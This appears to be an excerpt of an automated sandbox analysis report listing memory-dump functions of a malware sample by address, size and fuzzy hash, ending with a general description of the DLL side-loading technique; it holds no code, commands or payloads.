Function 00FAF101 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a098e5ca8dbebc703a3cc7b167dec6c4c49f5c4387a4039f56043a43b9d5d1ea
Instruction ID: 8b6a1800d048481d7f60d9175b42da8e1af29472319de8596ea3a4826dfb95d9
Opcode Fuzzy Hash: a098e5ca8dbebc703a3cc7b167dec6c4c49f5c4387a4039f56043a43b9d5d1ea
Instruction Fuzzy Hash: 0051D0B5D01228CFCB24DFA4D984BEDBBB1BB89311F1055A9D409AB350DB35AE85DF10

Function 00FA9A63 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed51f6d68a227d4923f9601bd3d9be17ded7b3d09a1790df4fe1693afdf79ca
Instruction ID: c47194d47608e3df2b567fe06108a8db6371d9bfec82ce201e0fba4b19f347a8
Opcode Fuzzy Hash: 7ed51f6d68a227d4923f9601bd3d9be17ded7b3d09a1790df4fe1693afdf79ca
Instruction Fuzzy Hash: 2B51A271A08249DFCF11CFA8D844BDDBFB2BF86360F148566E8119B291D3B49915EB60

Function 00FAD7E6 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c1479ac6a9ef89453d9c85093a156b1cc4571759c1541a8f61d10949954cf2
Instruction ID: 6bd48e60b6929e6ab859c93a79622da85a2a5af87325ac04d21f01d8805d7873
Opcode Fuzzy Hash: e8c1479ac6a9ef89453d9c85093a156b1cc4571759c1541a8f61d10949954cf2
Instruction Fuzzy Hash: 344128B5D05108CFCB08DFA8D8847EDBBB5FF4A301F609419E41AAB655D738A841EF54

Function 00FAD786 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3869b49274ac283e175b1d36aeac18c18b24bd21cdcf60e6be9833b21d844e
Instruction ID: 93a3eae0b39a3c14621712c958d01b833d9d1fb2bd969ced9554d6dc6af0021f
Opcode Fuzzy Hash: 6b3869b49274ac283e175b1d36aeac18c18b24bd21cdcf60e6be9833b21d844e
Instruction Fuzzy Hash: 2D4114B4D05208CFCB04DFA8D8846EDBBB2FF4A311F209519E41AAB751D739A941EF64

Function 00FAD638 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e7b87ebed2eb47801c811b4a190cea02445bff7a5529ee558bf332bddd5599
Instruction ID: c288f5b5a422a89ea57119fe2f8843257fbd8d80719951e8d51417c6b623edd2
Opcode Fuzzy Hash: d8e7b87ebed2eb47801c811b4a190cea02445bff7a5529ee558bf332bddd5599
Instruction Fuzzy Hash: AC4126B0D01208CFDB08DFA9D8446EEFBB2BF8A301F24D429D419A7655DB359941DF64

Function 00FA4DC8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93c07338e8ac4d6e0dd1371430ce69f95c83b28279484b2ff23de621c8dc378
Instruction ID: a3d29fd1a884a6603e6d0f3fe2510b39a813625757b4e6da24bb5b0a9885d542
Opcode Fuzzy Hash: c93c07338e8ac4d6e0dd1371430ce69f95c83b28279484b2ff23de621c8dc378
Instruction Fuzzy Hash: CC31A371B04209AFCF059FA4E494AAF7BA6FF88314F104414F9158B291CB74DD65EBB0

Function 00FA76D0 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ec8263f3feacd17ec487e421eaae52eeb98f07b8d2064b1b1d5b85274f82d58
Instruction ID: a66ae7a617d228a16ef783d21d14e89ce410e531aa013479a13eb36ee0a65c14
Opcode Fuzzy Hash: 6ec8263f3feacd17ec487e421eaae52eeb98f07b8d2064b1b1d5b85274f82d58
Instruction Fuzzy Hash: D8210075B0C3004BEB2526398C94E3A37979FD6728B184079D506CB7A5EE28CC02F791

Function 00FA76E0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7399aae16d8ec3076188b25ddc556472d85b76a508296bec3d7bbe0f3b37a4ff
Instruction ID: b45a374d06233f5678f11322f72160ce6b51e729b2069f9fce88745a2a51cd55
Opcode Fuzzy Hash: 7399aae16d8ec3076188b25ddc556472d85b76a508296bec3d7bbe0f3b37a4ff
Instruction Fuzzy Hash: 3321B07571C3004BEB242629CC94E7E328B9FD6728F248078D506CB795EE29CC42F791

Function 00FAA809 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08417de187b954ed7f675c7199d9da7b48150209eaf60d3cc28ed4482d25d6d6
Instruction ID: 385e870631acc62e45daa63850675f407613a4f73901338db8f677582cf1d926
Opcode Fuzzy Hash: 08417de187b954ed7f675c7199d9da7b48150209eaf60d3cc28ed4482d25d6d6
Instruction Fuzzy Hash: 793172B0E006098FCB04CF6DC884AAFBBF2BF89754B158259E455973A5CB34DC16CB91

Function 00FA5A63 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 265d4a5a9cb42008697eb323c4c4d078734a8925523580c5d8c50ca396fc4897
Instruction ID: d09592aa185115f869d5f08f2cd0964ad6d3bbde5d8b09faf6f247fa2cc80512
Opcode Fuzzy Hash: 265d4a5a9cb42008697eb323c4c4d078734a8925523580c5d8c50ca396fc4897
Instruction Fuzzy Hash: 38210431B04A219FC7259A64D4A453FBBA2EFC6B617154269E806CB391CE34DC03CBD0

Function 00FA2060 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09f72202bc659b43fa9dc07460399c1c3c1066d15f5afc185ca31e771ff1e7b6
Instruction ID: 8c6298d0d206f2dbbcf0de082b5c866611fd087c6c3cbd4d607f16012f3d6667
Opcode Fuzzy Hash: 09f72202bc659b43fa9dc07460399c1c3c1066d15f5afc185ca31e771ff1e7b6
Instruction Fuzzy Hash: D221B075E002059FCF54DF68D8409AE37A6EB99364F10C419D80A8B240DB35EE46CBD2

Function 00D3D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3265386514.0000000000D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d3d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509cf1accba71bfa9dee01dad5b50ed3e72b43130481dd007b05bb428e54840
Instruction ID: 395f5e8da280549a2a76f6668c09fe25471c0b038609c112f8e0dd86b6548815
Opcode Fuzzy Hash: f509cf1accba71bfa9dee01dad5b50ed3e72b43130481dd007b05bb428e54840
Instruction Fuzzy Hash: C621F2715042049FCB19CF24E9C4B26BB66FB84714F24C569E9494B292C73AD846DE72

Function 00FA215C Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1cede20a9fecae931cc6aae8b5713bb6d1da3b9d3e0118c2f72a3b8d296c4f
Instruction ID: aedb115f52551effc5eb31a11d1e606af5df385fa57ff835109cd3e5b520883f
Opcode Fuzzy Hash: 8e1cede20a9fecae931cc6aae8b5713bb6d1da3b9d3e0118c2f72a3b8d296c4f
Instruction Fuzzy Hash: 3A115972E143599FCB019BBCAC004DEBB71FF8A310B248796D526B7151EA312906C791

Function 00FAFEE8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f31e4d3745cdffa5c654fc7dea25e29b86363c260bb43abd2f1da5bfe05bb8f
Instruction ID: 203728ebfebd4235148dc49077d80c5c1e5d1d709a9156beab0ef73f78019315
Opcode Fuzzy Hash: 1f31e4d3745cdffa5c654fc7dea25e29b86363c260bb43abd2f1da5bfe05bb8f
Instruction Fuzzy Hash: 33110432B043515FCB196778442813E7BEA9FC2351B1444BFDA4ACB381DE288C4AD7A6

Function 00FA39ED Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f3430de67c874fb21dbdb05b6b263ba5364e8756f341a3d650c2ab2843c888a
Instruction ID: c34e14d62473b761cad1cabad554ab66c92228e6fe8fa9384faa29664ea20e8b
Opcode Fuzzy Hash: 0f3430de67c874fb21dbdb05b6b263ba5364e8756f341a3d650c2ab2843c888a
Instruction Fuzzy Hash: 61316278E15209DFCF44DFA8E59489DBBB2FF49305B208469E809AB364DB35AD05DF40

Function 00FA4DBB Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba21eba3f0a1f0ae67ae9fd158717eff454f4b886da18d302683649551397a59
Instruction ID: a7c354286d418ca0059f3608d0653d993543a6bd48681e51197960fa2c20a410
Opcode Fuzzy Hash: ba21eba3f0a1f0ae67ae9fd158717eff454f4b886da18d302683649551397a59
Instruction Fuzzy Hash: 0E21F371B082059FCB019F64E49476B7BA2FF99314F104429F8058B291CB78DD66DBF0

Function 00FAE211 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4aadf0c24ce8602e81b1b57a5085bcc967e13a40a4ef901607b37a6e9a148a
Instruction ID: 7245dc6123f09b5272d9d58f8625fd75b08a2217c9bc9a274177519f8c1cc187
Opcode Fuzzy Hash: 7c4aadf0c24ce8602e81b1b57a5085bcc967e13a40a4ef901607b37a6e9a148a
Instruction Fuzzy Hash: F8215074D042099FCB45EFB8D99179EBFF2EF46304F0085A9D0449B365D7385A05CB90

Function 00FAD627 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08c870067b9ff09fc588148b3dbe4ae0eb9bc1ebd7f827c234b8e6343507031
Instruction ID: 7a2a03ef64d9459cbbf94f538f6db74ebacd47cbcf67d65ff889f6dde446abf3
Opcode Fuzzy Hash: c08c870067b9ff09fc588148b3dbe4ae0eb9bc1ebd7f827c234b8e6343507031
Instruction Fuzzy Hash: 8911A9B0D04249CFDB08CFAAC8082DEBBF2AFCA311F18C529D819A72A5DB744801DF10

Function 00FA5A70 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060fb69a803413cfbe168b0dd3569965e2f356fb2102e7f593d3ea047b87c077
Instruction ID: 4c988f7db15fef6f6fd2b2ca42250b5e8c879b54f661da7e78b160a253a566ec
Opcode Fuzzy Hash: 060fb69a803413cfbe168b0dd3569965e2f356fb2102e7f593d3ea047b87c077
Instruction Fuzzy Hash: 4411E131B04A229FC7199A29D49893EB7A6FFC6B617194168E906CB360CF34DC028BD0

Function 00FA1F61 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58d3e531749f73215109c2f570ca2f13e0fc812396bb9336de4bfee79116f1e8
Instruction ID: ddd00bb9a71b8755751c6ce3dbc6503e523ab8bc893a7296f095b82e02ae92b8
Opcode Fuzzy Hash: 58d3e531749f73215109c2f570ca2f13e0fc812396bb9336de4bfee79116f1e8
Instruction Fuzzy Hash: 3521C3B4C092098FCB40EFA8D8495EEBFF4BF49300F14856AD805B7224EB305A55DBA1

Function 00FA1F08 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140002fd069430447f64964714f6585d57d1edd53ef09c0505452f7c7d01026a
Instruction ID: c8bd55b16a8e9982d82af5da1a6ba9100a7189484b056011a9e44c29c267da2d
Opcode Fuzzy Hash: 140002fd069430447f64964714f6585d57d1edd53ef09c0505452f7c7d01026a
Instruction Fuzzy Hash: 4B2124B4C046098FCB40EFA8C4485EEBFF1BF49310F14416AD845B7264EB305A45DBA1

Function 00FAE220 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423260847af6552301dff8b9f36e5429fa27159dc1ae3311084cae62e602f284
Instruction ID: 7539174426211275ea819bec79c97b18ec578259a89b9e7a8b50affba164464d
Opcode Fuzzy Hash: 423260847af6552301dff8b9f36e5429fa27159dc1ae3311084cae62e602f284
Instruction Fuzzy Hash: B9113D74D00209DFCB45EFA9DA91A9EBBF5FF45304F50C5A9D0049B325EB389A09CB91

Function 00D3D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3265386514.0000000000D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d3d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: caea4153464b9b421ffe733b28b44a0c247b06785bd8b3dcd99bd89a8d0d0a17
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: B0119D76504284DFDB16CF14D9C4B15FFA2FB84314F28C6A9D8494B656C33AD84ACF62

Function 00FA5607 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1bd4a9327fc350d9e5096d8517d9f6b6ec3f245c58080828e641c01dcce4248
Instruction ID: df40c23a928404daa610b801b095003ea11bc88050b7fbefdd74b44ca07e4e4f
Opcode Fuzzy Hash: e1bd4a9327fc350d9e5096d8517d9f6b6ec3f245c58080828e641c01dcce4248
Instruction Fuzzy Hash: 920124B2B041146FDB028E68A810AEF3FE7DFD9B51B18802AF904D7280DA758C1297B0

Function 00FAFEDB Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 267d6ff3f98a4472b8b5dfe87f87352d4e144c03b88428ad0b7200d7d821063b
Instruction ID: e08856230e6b1b26d0cd6c99e45359a9c6ce793603297774797dbf3ca9b2b42b
Opcode Fuzzy Hash: 267d6ff3f98a4472b8b5dfe87f87352d4e144c03b88428ad0b7200d7d821063b
Instruction Fuzzy Hash: 15F04632F003111F871562B8582467E679E8FC3220B04417FEA0ACB240EE24CC0AE3A2

Function 00FAD460 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e43e7003096d4f9391ae10f5319a9242155948e5cf36c99e3901bd625df695cf
Instruction ID: 2ed7f8a3ea18c8a75c8658520a81a954483c9d040efb21608ed673ba28702094
Opcode Fuzzy Hash: e43e7003096d4f9391ae10f5319a9242155948e5cf36c99e3901bd625df695cf
Instruction Fuzzy Hash: B0F05534D0834A9BC7019B79EC083AABBB09FCB324F005568CCD5A32E1CB705414CAA1

Function 00FADF20 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7a3be13721b9c7ccc3b7b0d18b3ea17b5f4b4fb76f8009ded2cf0024d26f601
Instruction ID: 793110fab0c5d3f1a83e9dc55b872c8ff6f460bb28d05e6b8e9095a712e10030
Opcode Fuzzy Hash: b7a3be13721b9c7ccc3b7b0d18b3ea17b5f4b4fb76f8009ded2cf0024d26f601
Instruction Fuzzy Hash: F5F055308043899FCB029BA9EC083AABBB49FC7310F4156A4DC16A31E6CB709519DBA1

Function 00FAD4CC Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f2b0970790fae3000242abd86621c8259507bf00e8ed417ab7e2eeedadf10a
Instruction ID: 5d6675c3aa03c0387a53578d62d7f208d05ad81f451dc44100742d80475fc992
Opcode Fuzzy Hash: a0f2b0970790fae3000242abd86621c8259507bf00e8ed417ab7e2eeedadf10a
Instruction Fuzzy Hash: FCE0DFE6C082408AD3118BAA58160B9BF74DD9B35174460C7988ACB926D264E616FA21

Function 00FA2010 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bcd63f242a7186eb9050683e64f9f8fd7276bea869fae338ec44e0380fd9f18
Instruction ID: 9283c18b2ba919e045a8a3b913a80968032ba6c851cfc94f17be8ab51cf68426
Opcode Fuzzy Hash: 3bcd63f242a7186eb9050683e64f9f8fd7276bea869fae338ec44e0380fd9f18
Instruction Fuzzy Hash: 31E06830D243D29BCB1297B09C040FEBF709DC3210B0645AAD0A437001E7351A1BC392

Function 00FA2020 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21798ae4bfecfd3e44d45c10d72cf123e65ff8c4a0b3848ca18bed9e1fbcea41
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 21798ae4bfecfd3e44d45c10d72cf123e65ff8c4a0b3848ca18bed9e1fbcea41
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 00FA8258 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 63c084b0e8dd36b57f8a1d66796fc6655c30790c010aa8d32eb801b027b533a1
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: B8C0127350C1242A9624104F7C40AB3678CC2C27F49250137F55C9320068825C4111A4

Function 00FAA70D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b3b1492489eb4f1bda235960c84518fcc9ac0b67a1a8d0023b346e95f09777c
Instruction ID: 45cd1a34f1ac319989e05bddc210c02a284954bedc65e20b296abef16e567721
Opcode Fuzzy Hash: 9b3b1492489eb4f1bda235960c84518fcc9ac0b67a1a8d0023b346e95f09777c
Instruction Fuzzy Hash: 5BD0677BB410189FCB049F98EC408DDBBB6FB9C221B048526E915A3261C6319925DB50

Function 00FA5EA8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3736c50b92b7e74f09ccf821b12762c9db924a79292a6daf7f42a582992b41
Instruction ID: 585e24b1f0a7ee7822f33c37684f918a48d4186ece424a3887ab790585909ef0
Opcode Fuzzy Hash: 6f3736c50b92b7e74f09ccf821b12762c9db924a79292a6daf7f42a582992b41
Instruction Fuzzy Hash: E4E02B70A4C3820FC717F778F9654AC3F2AAE90208B5445B4A8414E12BEA794C1FCF60

Function 00FAFC03 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5468d53e80bb30e485bb6b68ba28b9321ebcf43dc8cf605e9905ba2e5b41125b
Instruction ID: 5d517df7fdcdd49077e1a2a4d281db5c648c79c1c9054949155a43f948104bfb
Opcode Fuzzy Hash: 5468d53e80bb30e485bb6b68ba28b9321ebcf43dc8cf605e9905ba2e5b41125b
Instruction Fuzzy Hash: E4D06779D4411C8BCB20DFA4DA556ECB7B4EF85310F0024E69809B6210D6305A549F11

Function 00FA5EB8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d3796752854fb9a4ace3e675cd25cb44e2030f24e4e2660e1b7fd66938c96f
Instruction ID: 58f98747b62aa8f6c2420810b7e3f75485ced70131b71bb138e3e0b95b871099
Opcode Fuzzy Hash: e0d3796752854fb9a4ace3e675cd25cb44e2030f24e4e2660e1b7fd66938c96f
Instruction Fuzzy Hash: 59C012305583094FD549FBB5FA45919771EFAD0304F504520B00A0E12DEF7C5958CAA0

Non-executed Functions

Function 00FA6088 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 00FA60C6
\;]q, xrefs: 00FA60BA
\;]q, xrefs: 00FA6094
\;]q, xrefs: 00FA609E

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: 5852b15caf328a4c314f83ab7b3e5171a79a55e19b27bf552344a55e659ace27
Instruction ID: 841926f81a9a25e46616c43be52f26e155e149191aff63d812e20ecb271876e2
Opcode Fuzzy Hash: 5852b15caf328a4c314f83ab7b3e5171a79a55e19b27bf552344a55e659ace27
Instruction Fuzzy Hash: 0901D4B2B140148FCB648E2CC480A2577EAEF9A770329C17AE501CB3B4DA71DC81E750

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

